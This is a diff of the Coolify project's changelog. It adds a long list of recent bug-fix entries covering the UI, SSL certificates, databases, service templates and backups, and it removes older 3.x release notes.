*(ui)* Update database control UI to check server functionality before displaying actions +- *(ui)* Typo in upgrade message +- *(ui)* Cloudflare tunnel configuration should be an info, not a warning +- *(s3)* DigitalOcean storage buckets do not work +- *(ui)* Correct typo in container label helper text +- Disable certain parts if readonly label is turned off +- Cleanup old scheduled_task_executions +- Validate cron expression in Scheduled Task update +- *(core)* Check cron expression on save +- *(database)* Detect more postgres database image types +- *(templates)* Update service templates +- Remove quotes in COOLIFY_CONTAINER_NAME +- *(templates)* Update Trigger.dev service templates with v3 configuration +- *(database)* Adjust MongoDB restore command and import view styling +- *(core)* Improve public repository URL parsing for branch and base directory +- *(core)* Increase HTTP/2 max concurrent streams to 250 (default) +- *(ui)* Update docker compose file helper text to clarify repository modification +- *(ui)* Skip SERVICE_FQDN and SERVICE_URL variables during update +- *(core)* Stopping database is not disabling db proxy +- *(core)* Remove --remove-orphans flag from proxy startup command to prevent other proxy deletions (db) +- *(api)* Domain check when updating domain +- *(ui)* Always redirect to dashboard after team switch +- *(backup)* Escape special characters in database backup commands +- *(core)* Improve deployment failure Slack notification formatting +- *(core)* Update Slack notification formatting to use bold correctly +- *(core)* Enhance Slack deployment success notification formatting +- *(ui)* Simplify service templates loading logic +- *(ui)* Align title and add button vertically in various views +- Handle pullrequest:updated for reliable preview deployments +- *(ui)* Fix typo on team page (#5105) +- Cal.com documentation link give 404 (#5070) +- *(slack)* Notification settings URL in `HighDiskUsage` message (#5071) +- *(ui)* Correct typo in Storage delete dialog (#5061) +- *(lang)* Add missing italian translations (#5057) +- *(service)* Improve duplicati.yaml (#4971) +- *(service)* Links in homepage service (#5002) +- *(service)* Added SMTP credentials to getoutline yaml template file (#5011) +- *(service)* Added `KEY` Variable to Beszel Template (#5021) +- *(cloudflare-tunnels)* Dead links to docs (#5104) +- System-wide GitHub apps (#5114) +- Pull latest image from registry when using build server +- *(deployment)* Improve server selection for deployment cancellation +- *(deployment)* Improve log line rendering and formatting +- *(s3-storage)* Optimize team admin notification query +- *(core)* Improve connection testing with dynamic disk configuration for s3 backups +- *(core)* Update service status refresh event handling +- *(ui)* Adjust polling intervals for database and service status checks +- *(service)* Update Fider service template healthcheck command +- *(core)* Improve server selection error handling in Docker component +- *(core)* Add server functionality check before dispatching container status +- *(ui)* Disable sticky scroll in Monaco editor +- *(ui)* Add literal and multiline env support to services. +- *(services)* Owncloud docs link +- *(template)* Remove db-migration step from `infisical.yaml` (#5209) +- *(service)* Penpot (#5047) +- *(core)* Production dockerfile +- *(ui)* Update storage configuration guidance link +- *(ui)* Set default SMTP encryption to starttls +- *(notifications)* Correct environment URL path in application notifications +- *(config)* Update default PostgreSQL host to coolify-db instead of postgres +- *(docker)* Improve Docker compose file validation process +- *(ui)* Restrict service retrieval to current team +- *(core)* Only validate custom compose files +- *(mail)* Set default mailer to array when not specified +- *(ui)* Correct redirect routes after task deletion +- *(core)* Adding a new server should not try to make the default docker network +- *(core)* Clean up unnecessary files during application image build +- *(core)* Improve label generation and merging for applications and services +- *(billing)* Handle 'past_due' subscription status in Stripe processing +- *(revert)* Label parsing +- *(helpers)* Initialize command variable in parseCommandFromMagicEnvVariable +- *(billing)* Restrict Stripe subscription status update to 'active' only +- *(api)* Docker compose based apps creationg through api +- *(database)* Improve database type detection for Supabase Postgres images +- *(ssl)* Permission of ssl crt and key inside the container +- *(ui)* Make sure file mounts do not showing the encrypted values +- *(ssl)* Make default ssl mode require not verify-full as it does not need a ca cert +- *(ui)* Select component should not always uses title case +- *(db)* SSL certificates table and model +- *(migration)* Ssl certificates table +- *(databases)* Fix database name users new `uuid` instead of DB one +- *(database)* Fix volume and file mounts and naming +- *(migration)* Store subjectAlternativeNames as a json array in the db +- *(ssl)* Make sure the subjectAlternativeNames are unique and stored correctly +- *(ui)* Certificate expiration data is null before starting the DB +- *(deletion)* Fix DB deletion +- *(ssl)* Improve SSL cert file mounts +- *(ssl)* Always create ca crt on disk even if it is already there +- *(ssl)* Use mountPath parameter not a hardcoded path +- *(ssl)* Use 1 instead of on for mysql +- *(ssl)* Do not remove SSL directory +- *(ssl)* Wrong ssl cert is loaded to the server and UI error when regenerating SSL +- *(ssl)* Make sure when regenerating the CA cert it is not overwritten with a server cert +- *(ssl)* Regenerating certs for a specific DB +- *(ssl)* Fix MariaDB and MySQL need CA cert +- *(ssl)* Add mount path to DB to fix regeneration of certs +- *(ssl)* Fix SSL regeneration to sign with CA cert and use mount path +- *(ssl)* Get caCert correctly +- *(ssl)* Remove caCert even if it is a folder by accident +- *(ssl)* Ger caCert and `mountPath` correctly +- *(ui)* Only show Regenerate SSL Certificates button when there is a cert +- *(ssl)* Server id +- *(ssl)* When regenerating SSL certs the cert is not singed with the new CN +- *(ssl)* Adjust ca paths for MySQL +- *(ssl)* Remove mode selection for MariaDB as it is not supported +- *(ssl)* Permission issue with MariDB cert and key and paths +- *(ssl)* Rename Redis mode to verify-ca as it is not verify-full +- *(ui)* Remove unused mode for MongoDB +- *(ssl)* KeyDB port and caCert args are missing +- *(ui)* Enable SSL is not working correctly for KeyDB +- *(ssl)* Add `--tls` arg to DrangflyDB +- *(notification)* Always send SSL notifications +- *(database)* Change default value of enable_ssl to false for multiple tables +- *(ui)* Correct grammatical error in 404 page +- *(seeder)* Update GitHub app name in GithubAppSeeder +- *(plane)* Update APP_RELEASE to v0.25.2 in environment configuration +- *(domain)* Dispatch refreshStatus event after successful domain update +- *(database)* Correct container name generation for service databases +- *(database)* Limit container name length for database proxy +- *(database)* Handle unsupported database types in StartDatabaseProxy +- *(database)* Simplify container name generation in StartDatabaseProxy +- *(install)* Handle potential errors in Docker address pool configuration +- *(backups)* Retention settings +- *(redis)* Set default redis_username for new instances +- *(core)* Improve instantSave logic and error handling +- *(general)* Correct link to framework specific documentation +- *(core)* Redirect healthcheck route for dockercompose applications +- *(api)* Use name from request payload +- *(issue#4746)* Do not use setGitImportSettings inside of generateGitLsRemoteCommands +- Correct some spellings +- *(service)* Replace deprecated credentials env variables on keycloak service +- *(keycloak)* Update keycloak image version to 26.1 +- *(console)* Handle missing root user in password reset command +- *(ssl)* Handle missing CA certificate in SSL regeneration job +- *(copy-button)* Ensure text is safely passed to clipboard +- *(file-storage)* Double save on compose volumes +- *(parser)* Add logging support for applications in services +- Only get apps for the current team +- *(DeployController)* Cast 'pr' query parameter to integer +- *(deploy)* Validate team ID before deployment +- *(wakapi)* Typo in env variables and add some useful variables to wakapi.yaml (#5424) +- *(ui)* Instance Backup settings +- *(docs)* Comment out execute for now +- *(installation)* Mount the docker config +- *(installation)* Path to config file for docker login +- *(service)* Add health check to Bugsink service (#5512) +- *(email)* Emails are not sent in multiple cases +- *(deployments)* Use graceful shutdown instead of `rm` +- *(docs)* Contribute service url (#5517) +- *(proxy)* Proxy restart does not work on domain +- *(ui)* Only show copy button on https +- *(database)* Custom config for MongoDB (#5471) +- *(api)* Used ssh keys can be deleted +- *(email)* Transactional emails not sending +- *(CheckProxy)* Update port conflict check to ensure accurate grep matching +- *(CheckProxy)* Refine port conflict detection with improved grep patterns +- *(CheckProxy)* Enhance port conflict detection by adjusting ss command for better output +- *(api)* Add back validateDataApplications (#5539) +- *(CheckProxy, Status)* Prevent proxy checks when force_stop is active; remove debug statement in General +- *(Status)* Conditionally check proxy status and refresh button based on force_stop state +- *(General)* Change redis_password property to nullable string +- *(DeployController)* Update request handling to use input method and enhance OpenAPI description for deployment endpoint +- *(pre-commit)* Correct input redirection for /dev/tty and add OpenAPI generation command +- *(pricing-plans)* Adjust grid class for improved layout consistency in subscription pricing plans +- *(migrations)* Make stripe_comment field nullable in subscriptions table +- *(mongodb)* Also apply custom config when SSL is enabled +- *(templates)* Correct casing of denoKV references in service templates and YAML files +- *(deployment)* Handle missing destination in deployment process to prevent errors +- *(parser)* Transform associative array labels into key=value format for better compatibility +- *(redis)* Update username and password input handling to clarify database sync requirements +- *(source)* Update connected source display to handle cases with no source connected +- *(application)* Append base directory to git branch URLs for improved path handling +- *(templates)* Correct casing of "denokv" to "denoKV" in service templates JSON +- *(navbar)* Update error message link to use route for environment variables navigation +- Unsend template +- Replace ports with expose +- *(templates)* Update Unsend compose configuration for improved service integration +- *(backup-edit)* Conditionally enable S3 checkbox based on available validated S3 storage +- *(source)* Update no sources found message for clarity +- *(api)* Correct middleware for service update route to ensure proper permissions +- *(api)* Handle JSON response in service creation and update methods for improved error handling +- Add 201 json code to servers validate api response +- *(docker)* Ensure password hashing only occurs when HTTP Basic Authentication is enabled +- *(docker)* Enhance hostname and GPU option validation in Docker run to compose conversion +- *(terminal)* Enhance WebSocket client verification with authorized IPs in terminal server +- *(ApplicationDeploymentJob)* Ensure source is an object before checking GitHub app properties +- *(ui)* Disable livewire navigate feature (causing spam of setInterval()) +- *(ui)* Remove required attribute from image input in service application view +- *(ui)* Change application image validation to be nullable in service application view +- *(Server)* Correct proxy path formatting for Traefik proxy type +- *(service)* Graceful shutdown of old container (#5731) +- *(ServerCheck)* Enhance proxy container check to ensure it is running before proceeding +- *(applications)* Include pull_request_id in deployment queue check to prevent duplicate deployments +- *(database)* Update label for image input field to improve clarity +- *(ServerCheck)* Set default proxy status to 'exited' to handle missing container state +- *(database)* Reduce container stop timeout from 300 to 30 seconds for improved responsiveness +- *(ui)* System theming for charts (#5740) +- *(dev)* Mount points?! +- *(dev)* Proxy mount point +- *(ui)* Allow adding scheduled backups for non-migrated databases +- *(DatabaseBackupJob)* Escape PostgreSQL password in backup command (#5759) +- *(ui)* Correct closing div tag in service index view +- *(select)* Update fallback logo path to use absolute URL for improved reliability +- *(constants)* Adding 'fedora-asahi-remix' as a supported OS (#5646) +- *(authentik)* Update docker-compose configuration for authentik service +- *(api)* Allow nullable destination_uuid (#5683) +- *(service)* Fix documenso startup and mail (#5737) +- *(docker)* Fix production dockerfile +- *(service)* Navidrome service +- *(service)* Passbolt +- *(service)* Add missing ENVs to NTFY service (#5629) +- *(service)* NTFY is behind a proxy +- *(service)* Vert logo and ENVs +- *(service)* Add platform to Observium service +- *(ActivityMonitor)* Prevent multiple event dispatches during polling +- *(service)* Convex ENVs and update image versions (#5827) +- *(service)* Paymenter +- *(ApplicationDeploymentJob)* Ensure correct COOLIFY_FQDN/COOLIFY_URL values (#4719) +- *(service)* Snapdrop no matching manifest error (#5849) +- *(service)* Use the same volume between chatwoot and sidekiq (#5851) +- *(api)* Validate docker_compose_raw input in ApplicationsController +- *(api)* Enhance validation for docker_compose_raw in ApplicationsController +- *(select)* Update PostgreSQL versions and titles in resource selection +- *(database)* Include DatabaseStatusChanged event in activityMonitor dispatch +- *(css)* Tailwind v5 things +- *(service)* Diun ENV for consistency +- *(service)* Memos service name +- *(css)* 8+ issue with new tailwind v4 +- *(css)* `bg-coollabs-gradient` not working anymore +- *(ui)* Add back missing service navbar components +- *(deploy)* Update resource timestamp handling in deploy_resource method +- *(patches)* DNF reboot logic is flipped +- *(deployment)* Correct syntax for else statement in docker compose build command +- *(shared)* Remove unused relation from queryDatabaseByUuidWithinTeam function +- *(deployment)* Correct COOLIFY_URL and COOLIFY_FQDN assignments based on parsing version in preview deployments +- *(docker)* Ensure correct parsing of environment variables by limiting explode to 2 parts +- *(project)* Update selected environment handling to use environment name instead of UUID +- *(ui)* Update server status display and improve server addition layout +- *(service)* Neon WS Proxy service not working on ARM64 (#5887) +- *(server)* Enhance error handling in server patch check notifications +- *(PushServerUpdateJob)* Add null checks before updating application and database statuses +- *(environment-variables)* Update label text for build variable checkboxes to improve clarity +- *(service-management)* Update service stop and restart messages for improved clarity and formatting +- *(preview-form)* Update helper text formatting in preview URL template input for better readability +- *(application-management)* Improve stop messages for application, database, and service to enhance clarity and formatting +- *(application-configuration)* Prevent access to preview deployments for deploy_key applications and update menu visibility accordingly +- *(select-component)* Handle exceptions during parameter retrieval and environment selection in the mount method +- *(previews)* Escape container names in stopContainers method to prevent shell injection vulnerabilities +- *(docker)* Add protection against empty container queries in GetContainersStatus to prevent unnecessary updates +- *(modal-confirmation)* Decode HTML entities in confirmation text to ensure proper display +- *(select-component)* Enhance user interaction by adding cursor styles and disabling selection during processing +- *(deployment-show)* Remove unnecessary fixed positioning for button container to improve layout responsiveness +- *(email-notifications)* Change notify method to notifyNow for immediate test email delivery +- *(service-templates)* Update Convex service configuration to use FQDN variables +- *(database-heading)* Simplify stop database message for clarity +- *(navbar)* Remove unnecessary x-init directive for loading proxy configuration +- *(patches)* Add padding to loading message for better visibility during update checks +- *(terminal-connection)* Improve error handling and stability for auto-connection; enhance component readiness checks and retry logic +- *(terminal)* Add unique wire:key to terminal component for improved reactivity and state management +- *(css)* Adjust utility classes in utilities.css for consistent application of Tailwind directives +- *(css)* Refine utility classes in utilities.css for proper Tailwind directive application +- *(install)* Update Docker installation script to use dynamic OS_TYPE and correct installation URL +- *(cloudflare)* Add error handling to automated Cloudflare configuration script +- *(navbar)* Add error handling for proxy status check to improve user feedback +- *(web)* Update user team retrieval method for consistent authentication handling +- *(cloudflare)* Update refresh method to correctly set Cloudflare tunnel status and improve user notification on IP address update +- *(service)* Update service template for affine and add migration service for improved deployment process +- *(supabase)* Update Supabase service images and healthcheck methods for improved reliability +- *(terminal)* Now it should work +- *(degraded-status)* Remove unnecessary whitespace in badge element for cleaner HTML +- *(routes)* Add name to security route for improved route management +- *(migration)* Update default value handling for is_sentinel_enabled column in server_settings +- *(seeder)* Conditionally dispatch CheckAndStartSentinelJob based on server's sentinel status +- *(service)* Disable healthcheck logging for Gotenberg (#6005) +- *(service)* Joplin volume name (#5930) +- *(server)* Update sentinelUpdatedAt assignment to use server's sentinel_updated_at property +- *(service)* Audiobookshelf healthcheck command (#5993) +- *(service)* Downgrade Evolution API phone version (#5977) +- *(service)* Pingvinshare-with-clamav +- *(ssh)* Scp requires square brackets for ipv6 (#6001) +- *(github)* Changing github app breaks the webhook. it does not anymore +- *(parser)* Improve FQDN generation and update environment variable handling +- *(ui)* Enhance status refresh buttons with loading indicators +- *(ui)* Update confirmation button text for stopping database and service +- *(routes)* Update middleware for deploy route to use 'api.ability:deploy' +- *(ui)* Refine API token creation form and update helper text for clarity +- *(ui)* Adjust layout of deployments section for improved alignment +- *(ui)* Adjust project grid layout and refine server border styling for better visibility +- *(ui)* Update border styling for consistency across components and enhance loading indicators +- *(ui)* Add padding to section headers in settings views for improved spacing +- *(ui)* Reduce gap between input fields in email settings for better alignment +- *(docker)* Conditionally enable gzip compression in Traefik labels based on configuration +- *(parser)* Enable gzip compression conditionally for Pocketbase images and streamline service creation logic +- *(ui)* Update padding for trademarks policy and enhance spacing in advanced settings section +- *(ui)* Correct closing tag for sponsorship link in layout popups +- *(ui)* Refine wording in sponsorship donation prompt in layout popups +- *(ui)* Update navbar icon color and enhance popup layout for sponsorship support +- *(ui)* Add target="_blank" to sponsorship links in layout popups for improved user experience +- *(models)* Refine comment wording in User model for clarity on user deletion criteria +- *(models)* Improve user deletion logic in User model to handle team member roles and prevent deletion if user is alone in root team +- *(ui)* Update wording in sponsorship prompt for clarity and engagement +- *(shared)* Refactor gzip handling for Pocketbase in newParser function for improved clarity +- *(server)* Prepend 'mux_' to UUID in muxFilename method for consistent naming +- *(ui)* Enhance terminal access messaging to clarify server functionality and terminal status +- *(database)* Proxy ssl port if ssl is enabled +- *(terminal)* Ensure shell execution only uses valid shell if available in terminal command +- *(ui)* Improve destination selection description for clarity in resource segregation +- *(jobs)* Update middleware to use expireAfter for WithoutOverlapping in multiple job classes +- Removing eager loading (#6071) +- *(template)* Adjust health check interval and retries for excalidraw service +- *(ui)* Env variable settings wrong order +- *(service)* Ensure configuration changes are properly tracked and dispatched +- *(service)* Update Postiz compose configuration for improved server availability +- *(install.sh)* Use IPV4_PUBLIC_IP variable in output instead of repeated curl +- *(env)* Generate literal env variables better +- *(deployment)* Update x-data initialization in deployment view for improved functionality +- *(deployment)* Enhance COOLIFY_URL and COOLIFY_FQDN variable generation for better compatibility +- *(deployment)* Improve docker-compose domain handling and environment variable generation +- *(deployment)* Refactor domain parsing and environment variable generation using Spatie URL library +- *(deployment)* Update COOLIFY_URL and COOLIFY_FQDN generation to use Spatie URL library for improved accuracy +- *(scheduling)* Change redis cleanup command frequency from hourly to weekly for better resource management +- *(versions)* Update coolify version numbers in versions.json and constants.php to 4.0.0-beta.420.5 and 4.0.0-beta.420.6 +- *(database)* Ensure internal port defaults correctly for unsupported database types in StartDatabaseProxy +- *(versions)* Update coolify version numbers in versions.json and constants.php to 4.0.0-beta.420.6 and 4.0.0-beta.420.7 +- *(scheduling)* Remove unnecessary padding from scheduled task form layout for improved UI consistency +- *(horizon)* Update queue configuration to use environment variable for dynamic queue management +- *(horizon)* Add silenced jobs +- *(application)* Sanitize service names for HTML form binding and ensure original names are stored in docker compose domains +- *(previews)* Adjust padding for rate limit message in application previews +- *(previews)* Order application previews by pull request ID in descending order +- *(previews)* Add unique wire keys for preview containers and services based on pull request ID +- *(previews)* Enhance domain generation logic for application previews, ensuring unique domains are created when none are set +- *(previews)* Refine preview domain generation for Docker Compose applications, ensuring correct method usage based on build pack type +- *(ui)* Typo on proxy request handler tooltip (#6192) +- *(backups)* Large database backups are not working (#6217) +- *(backups)* Error message if there is no exception +- *(installer)* Public IPv4 link does not work +- *(composer)* Version constraint of prompts +- *(service)* Budibase secret keys (#6205) +- *(service)* Wg-easy host should be just the FQDN +- *(ui)* Search box overlaps the sidebar navigation (#6176) +- *(webhooks)* Exclude webhook routes from CSRF protection (#6200) +- *(services)* Update environment variable naming convention to use underscores instead of dashes for SERVICE_FQDN and SERVICE_URL +- *(service)* Triliumnext platform and link +- *(application)* Update service environment variables when generating domain for Docker Compose +- *(application)* Add option to suppress toast notifications when loading compose file +- *(git)* Tracking issue due to case sensitivity +- *(git)* Tracking issue due to case sensitivity +- *(git)* Tracking issue due to case sensitivity +- *(ui)* Delete button width on small screens (#6308) +- *(service)* Matrix entrypoint +- *(ui)* Add flex-wrap to prevent overflow on small screens (#6307) +- *(docker)* Volumes get delete when stopping a service if `Delete Unused Volumes` is activated (#6317) +- *(docker)* Cleanup always running on deletion +- *(proxy)* Remove hardcoded port 80/443 checks (#6275) +- *(service)* Update healthcheck of penpot backend container (#6272) +- *(api)* Duplicated logs in application endpoint (#6292) +- *(service)* Documenso signees always pending (#6334) +- *(api)* Update service upsert to retain name and description values if not set +- *(database)* Custom postgres configs with SSL (#6352) +- *(policy)* Update delete method to check for admin status in S3StoragePolicy +- *(container)* Sort containers alphabetically by name in ExecuteContainerCommand and update filtering in Terminal Index +- *(application)* Streamline environment variable updates for Docker Compose services and enhance FQDN generation logic +- *(constants)* Update 'Change Log' to 'Changelog' in settings dropdown +- *(constants)* Update coolify version to 4.0.0-beta.420.7 +- *(parsers)* Clarify comments and update variable checks for FQDN and URL handling +- *(terminal)* Update text color for terminal availability message and improve readability +- *(drizzle-gateway)* Remove healthcheck from drizzle-gateway compose file and update service template +- *(templates)* Should generate old SERVICE_FQDN service templates as well +- *(constants)* Update official service template URL to point to the v4.x branch for accuracy +- *(git)* Use exact refspec in ls-remote to avoid matching similarly named branches (e.g., changeset-release/main). Use refs/heads/ or provider-specific PR refs. +- *(ApplicationPreview)* Change null check to empty check for fqdn in generate_preview_fqdn method +- *(email notifications)* Enhance EmailChannel to validate team membership for recipients and handle errors gracefully +- *(service api)* Separate create and update service functionalities +- *(templates)* Added a category tag for the docs service filter +- *(application)* Clear Docker Compose specific data when switching away from dockercompose +- *(database)* Conditionally set started_at only if the database is running +- *(ui)* Handle null values in postgres metrics (#6388) +- Disable env sorting by default +- *(proxy)* Filter host network from default proxy (#6383) +- *(modal)* Enhance confirmation text handling +- *(notification)* Update unread count display and improve HTML rendering +- *(select)* Remove unnecessary sanitization for logo rendering +- *(tags)* Update tag display to limit name length and adjust styling +- *(init)* Improve error handling for deployment and template pulling processes +- *(settings-dropdown)* Adjust unread count badge size and display logic for better consistency +- *(sanitization)* Enhance DOMPurify hook to remove Alpine.js directives for improved XSS protection +- *(servercheck)* Properly check server statuses with and without Sentinel +- *(errors)* Update error pages to provide navigation options +- *(github-deploy-key)* Update background color for selected private keys in deployment key selection UI +- *(auth)* Enhance authorization checks in application management +- *(backups)* S3 backup upload is failing +- *(backups)* Rollback helper update for now +- *(parsers)* Replace hyphens with underscores in service names for consistency. this allows to properly parse custom domains in docker compose based applications +- *(parsers)* Implement parseDockerVolumeString function to handle various Docker volume formats and modes, including environment variables and Windows paths. Add unit tests for comprehensive coverage. +- *(git)* Submodule update command uses an unsupported option (#6454) +- *(service)* Swap URL for FQDN on matrix template (#6466) +- *(parsers)* Enhance volume string handling by preserving mode in application and service parsers. Update related unit tests for validation. +- *(docker)* Update parser version in FQDN generation for service-specific URLs +- *(parsers)* Do not modify service names, only for getting fqdns and related envs +- *(compose)* Temporary allow to edit volumes in apps (compose based) and services +- *(previews)* Simplify FQDN generation logic by removing unnecessary empty check +- *(templates)* Update Matrix service compose configuration for improved compatibility and clarity ### 💼 Other -- Pocketbase release - -## [3.11.10] - 2022-11-16 - -### 🚀 Features - -- Only show expose if no proxy conf defined in template -- Custom/private docker registries - -### 🐛 Bug Fixes - -- Local dev api/ws urls -- Wrong template/type -- Gitea icon is svg -- Gh actions -- Gh actions -- Replace $$generate vars -- Webhook traefik -- Exposed ports -- Wrong icons on dashboard -- Escape % in secrets -- Move debug log settings to build logs -- Storage for compose bp + debug on -- Hasura admin secret -- Logs -- Mounts -- Load logs after build failed -- Accept logged and not logged user in /base -- Remote haproxy password/etc -- Remove hardcoded sentry dsn -- Nope in database strings - -### ⚙️ Miscellaneous Tasks - -- Version++ -- Version++ -- Version++ -- Version++ - -## [3.11.9] - 2022-11-15 - -### 🐛 Bug Fixes - -- IsBot issue - -## [3.11.8] - 2022-11-14 - -### 🐛 Bug Fixes - -- Default icon for new services - -## [3.11.1] - 2022-11-08 - -### 🚀 Features - -- Rollback coolify - -### 🐛 Bug Fixes - -- Remove contribution docs -- Umami template -- Compose webhooks fixed -- Variable replacements -- Doc links -- For rollback -- N8n and weblate icon -- Expose ports for services -- Wp + mysql on arm -- Show rollback button loading -- No tags error -- Update on mobile -- Dashboard error -- GetTemplates -- Docker compose persistent volumes -- Application persistent storage things -- Volume names for undefined volume names in compose -- Empty secrets on UI -- Ports for services - -### 💼 Other - -- Secrets on apps +- Only allow cleanup in production +- Make copy/password visible +- Dns check +- Remote docker engine +- Colorful states +- Application start +- Colors on svelte-select +- Improvements +- Fix +- Better layout for root team - Fix - Fixes -- Reload compose loading - -### 🚜 Refactor - -- Code - -### ⚙️ Miscellaneous Tasks - -- Version++ -- Add jda icon for lavalink service -- Version++ - -### ◀️ Revert - -- Revert: revert - -## [3.11.0] - 2022-11-07 - -### 🚀 Features - -- Initial support for specific git commit -- Add default to latest commit and support for gitlab -- Redirect catch-all rule - -### 🐛 Bug Fixes - -- Secret errors -- Service logs -- Heroku bp -- Expose port is readonly on the wrong condition -- Toast -- Traefik proxy q 10s -- App logs view -- Tooltip -- Toast, rde, webhooks -- Pathprefix -- Load public repos -- Webhook simplified -- Remote webhooks -- Previews wbh -- Webhooks -- Websecure redirect -- Wb for previews -- Pr stopps main deployment -- Preview wbh -- Wh catchall for all -- Remove old minio proxies -- Template files -- Compose icon -- Templates -- Confirm restart service -- Template -- Templates -- Templates -- Plausible analytics things -- Appwrite webhook -- Coolify instance proxy -- Migrate template -- Preview webhooks -- Simplify webhooks -- Remove ghost-mariadb from the list -- More simplified webhooks -- Umami + ghost issues - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [3.10.16] - 2022-10-12 - -### 🐛 Bug Fixes - -- Single container logs and usage with compose - -### 💼 Other - -- New resource label - -## [3.10.15] - 2022-10-12 - -### 🚀 Features - -- Monitoring by container - -### 🐛 Bug Fixes - -- Do not show nope as ip address for dbs -- Add git sha to build args -- Smart search for new services -- Logs for not running containers -- Update docker binaries -- Gh release -- Dev container -- Gitlab auth and compose reload -- Check compose domains in general -- Port required if fqdn is set -- Appwrite v1 missing containers -- Dockerfile -- Pull does not work remotely on huge compose file - -### ⚙️ Miscellaneous Tasks - -- Update staging release - -## [3.10.14] - 2022-10-05 - -### 🚀 Features - -- Docker compose support -- Docker compose -- Docker compose - -### 🐛 Bug Fixes - -- Do not use npx -- Pure docker based development - -### 💼 Other - -- Docker-compose support -- Docker compose -- Remove worker jobs -- One less worker thread - -### 🧪 Testing - -- Remove prisma - -## [3.10.5] - 2022-09-26 - -### 🚀 Features - -- Add migration button to appwrite -- Custom certificate -- Ssl cert on traefik config -- Refresh resource status on dashboard -- Ssl certificate sets custom ssl for applications -- System-wide github apps -- Cleanup unconfigured applications -- Cleanup unconfigured services and databases - -### 🐛 Bug Fixes - -- Ui -- Tooltip -- Dropdown -- Ssl certificate distribution -- Db migration -- Multiplex ssh connections -- Able to search with id -- Not found redirect -- Settings db requests -- Error during saving logs -- Consider base directory in heroku bp -- Basedirectory should be empty if null -- Allow basedirectory for heroku -- Stream logs for heroku bp -- Debug log for bp -- Scp without host verification & cert copy -- Base directory & docker bp -- Laravel php chooser -- Multiplex ssh and ssl copy -- Seed new preview secret types -- Error notification -- Empty preview value -- Error notification -- Seed -- Service logs -- Appwrite function network is not the default -- Logs in docker bp -- Able to delete apps in unconfigured state -- Disable development low disk space -- Only log things to console in dev mode -- Do not get status of more than 10 resources defined by category -- BaseDirectory -- Dashboard statuses -- Default buildImage and baseBuildImage -- Initial deploy status -- Show logs better -- Do not start tcp proxy without main container -- Cleanup stucked tcp proxies -- Default 0 pending invitations -- Handle forked repositories -- Typo -- Pr branches -- Fork pr previews -- Remove unnecessary things -- Meilisearch data dir -- Verify and configure remote docker engines -- Add buildkit features -- Nope if you are not logged in - -### 💼 Other - +- Fix +- Fix +- Fix +- Fix +- Fix +- Fix +- Fix +- Insane amount +- Fix +- Fixes +- Fixes +- Fix +- Fixes +- Fixes +- Show extraconfig if wp is running +- Umami service +- Base image selector +- Laravel +- Appwrite +- Testing WS +- Traefik?! +- Traefik +- Traefik +- Traefik migration +- Traefik +- Traefik +- Traefik +- Notifications and application usage +- *(fix)* Traefik +- Css +- Error message https://github.com/coollabsio/coolify/issues/502 +- Changes +- Settings +- For removing app +- Local ssh port +- Redesign a lot +- Fixes +- Loading indicator for plausible buttons +- Fix +- Fider +- Typing +- Fixes here and there +- Dashboard fine-tunes +- Fine-tune +- Fixes +- Fix +- Dashbord fixes +- Fixes +- Fixes +- Route to the correct path when creating destination from db config +- Fixes +- Change tooltips and info boxes +- Added rc release +- Database_branches +- Login page +- Fix login/register page +- Update devcontainer +- Add debug log +- Fix initial loading icon bg +- Fix loading start/stop db/services +- Dashboard updates and a lot more +- Dashboard updates +- Fix tooltip +- Fix button +- Fix follow button +- Arm should be on next all the time +- Fix plausible +- Fix cleanup button +- Fix buttons - Responsive! - Fixes - Fix git icon @@ -6807,1851 +4033,1491 @@ ### 💼 Other - Iam & settings update - Send 200 for ping and installation wh - Settings icon - -### ⚙️ Miscellaneous Tasks - -- Version++ -- Version++ -- Version++ -- Version++ -- Version++ -- Version++ -- Version++ - -### ◀️ Revert - -- Show usage everytime - -## [3.10.2] - 2022-09-11 - -### 🚀 Features - -- Add queue reset button -- Previewapplications init -- PreviewApplications finalized -- Fluentbit -- Show remote servers -- *(layout)* Added drawer when user is in mobile -- Re-apply ui improves -- *(ui)* Improve header of pages -- *(styles)* Make header css component -- *(routes)* Improve ui for apps, databases and services logs - -### 🐛 Bug Fixes - -- Changing umami image URL to get latest version -- Gitlab importer for public repos -- Show error logs -- Umami init sql -- Plausible analytics actions -- Login -- Dev url -- UpdateMany build logs -- Fallback to db logs -- Fluentbit configuration -- Coolify update -- Fluentbit and logs -- Canceling build -- Logging -- Load more -- Build logs -- Versions of appwrite -- Appwrite?! -- Get building status -- Await -- Await #2 -- Update PR building status -- Appwrite default version 1.0 -- Undead endpoint does not require JWT -- *(routes)* Improve design of application page -- *(routes)* Improve design of git sources page -- *(routes)* Ui from destinations page -- *(routes)* Ui from databases page -- *(routes)* Ui from databases page -- *(routes)* Ui from databases page -- *(routes)* Ui from services page -- *(routes)* More ui tweaks -- *(routes)* More ui tweaks -- *(routes)* More ui tweaks -- *(routes)* More ui tweaks -- *(routes)* Ui from settings page -- *(routes)* Duplicates classes in services page -- *(routes)* Searchbar ui -- Github conflicts -- *(routes)* More ui tweaks -- *(routes)* More ui tweaks -- *(routes)* More ui tweaks -- *(routes)* More ui tweaks -- Ui with headers -- *(routes)* Header of settings page in databases -- *(routes)* Ui from secrets table - -### 💼 Other - -- Fix plausible -- Fix cleanup button -- Fix buttons - -### ⚙️ Miscellaneous Tasks - -- Version++ -- Minor changes -- Minor changes -- Minor changes -- Whoops - -## [3.10.1] - 2022-09-10 - -### 🐛 Bug Fixes - -- Show restarting apps -- Show restarting application & logs -- Remove unnecessary gitlab group name -- Secrets for PR -- Volumes for services -- Build secrets for apps -- Delete resource use window location - -### 💼 Other - -- Fix button -- Fix follow button -- Arm should be on next all the time - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [3.10.0] - 2022-09-08 - -### 🚀 Features - -- New servers view - -### 🐛 Bug Fixes - -- Change to execa from utils -- Save search input -- Ispublic status on databases -- Port checkers -- Ui variables -- Glitchtip env to pyhton boolean -- Autoupdater - -### 💼 Other - -- Dashboard updates -- Fix tooltip - -## [3.9.4] - 2022-09-07 - -### 🐛 Bug Fixes - -- DnsServer formatting -- Settings for service - -## [3.9.3] - 2022-09-07 - -### 🐛 Bug Fixes - -- Pr previews - -## [3.9.2] - 2022-09-07 - -### 🚀 Features - -- Add traefik acme json to coolify container -- Database secrets - -### 🐛 Bug Fixes - -- Gitlab webhook -- Use ip address instead of window location -- Use ip instead of window location host -- Service state update -- Add initial DNS servers -- Revert last change with domain check -- Service volume generation -- Minio default env variables 